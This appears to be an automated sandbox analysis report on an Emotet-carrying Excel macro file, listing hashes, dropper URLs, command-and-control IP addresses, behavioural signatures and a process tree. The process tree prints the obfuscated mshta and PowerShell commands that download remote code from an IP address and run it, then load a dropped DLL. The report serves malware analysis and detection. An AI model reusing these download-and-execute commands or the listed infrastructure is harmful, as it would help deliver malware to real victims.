Analysis

  • max time kernel
    151s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    20-01-2022 13:13

General

  • Target

    lrnqyof0626260.xlsm

  • Size

    115KB

  • MD5

    d0dfa995eb72c89052f341457554b904

  • SHA1

    02bb89c9e8c012c33ff10213e785dfc74bd048f2

  • SHA256

    8f1c5f756658a90d9007b111594547d054cfdb487aefa255156d07fddd7ee016

  • SHA512

    0c78486c70d5ec5e8808d89f9d48a55f0938e4424a18857cb76532e54821757f458ccb670543f986d97a880a87309da190b24eadc2ef890fc7c2de12244b1a9f

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 8 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\lrnqyof0626260.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1088
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:580
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1076
        • C:\Windows\SysWOW64\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          • Modifies Internet Explorer settings
          • Suspicious use of WriteProcessMemory
          PID:760
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1780
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1724
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:1552
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1608
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ovdvf\bbodidtpqa.isr",UBVCKpijKHy
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1472
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ovdvf\bbodidtpqa.isr",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1280

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/580-58-0x000007FEFB591000-0x000007FEFB593000-memory.dmp

      Filesize

      8KB

    • memory/1088-54-0x000000002F391000-0x000000002F394000-memory.dmp

      Filesize

      12KB

    • memory/1088-57-0x00000000751B1000-0x00000000751B3000-memory.dmp

      Filesize

      8KB

    • memory/1088-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1088-55-0x0000000070E31000-0x0000000070E33000-memory.dmp

      Filesize

      8KB

    • memory/1280-99-0x0000000000420000-0x0000000000448000-memory.dmp

      Filesize

      160KB

    • memory/1280-95-0x0000000000160000-0x0000000000188000-memory.dmp

      Filesize

      160KB

    • memory/1280-113-0x00000000029F0000-0x0000000002A18000-memory.dmp

      Filesize

      160KB

    • memory/1280-111-0x00000000028F0000-0x0000000002918000-memory.dmp

      Filesize

      160KB

    • memory/1280-109-0x00000000027C0000-0x00000000027E8000-memory.dmp

      Filesize

      160KB

    • memory/1280-107-0x00000000026D0000-0x00000000026F8000-memory.dmp

      Filesize

      160KB

    • memory/1280-103-0x0000000001F10000-0x0000000001F38000-memory.dmp

      Filesize

      160KB

    • memory/1280-101-0x0000000000560000-0x0000000000588000-memory.dmp

      Filesize

      160KB

    • memory/1280-97-0x0000000000300000-0x0000000000328000-memory.dmp

      Filesize

      160KB

    • memory/1472-92-0x00000000001E0000-0x0000000000208000-memory.dmp

      Filesize

      160KB

    • memory/1552-68-0x00000000001C0000-0x00000000001E8000-memory.dmp

      Filesize

      160KB

    • memory/1608-90-0x0000000002A10000-0x0000000002A38000-memory.dmp

      Filesize

      160KB

    • memory/1608-87-0x0000000002950000-0x0000000002978000-memory.dmp

      Filesize

      160KB

    • memory/1608-85-0x0000000002860000-0x0000000002888000-memory.dmp

      Filesize

      160KB

    • memory/1608-81-0x0000000002660000-0x0000000002688000-memory.dmp

      Filesize

      160KB

    • memory/1608-79-0x0000000000BA0000-0x0000000000BC8000-memory.dmp

      Filesize

      160KB

    • memory/1608-77-0x0000000000390000-0x00000000003B8000-memory.dmp

      Filesize

      160KB

    • memory/1608-75-0x0000000000290000-0x00000000002B8000-memory.dmp

      Filesize

      160KB

    • memory/1780-61-0x00000000023E0000-0x000000000302A000-memory.dmp

      Filesize

      12.3MB

    • memory/1780-60-0x00000000023E0000-0x000000000302A000-memory.dmp

      Filesize

      12.3MB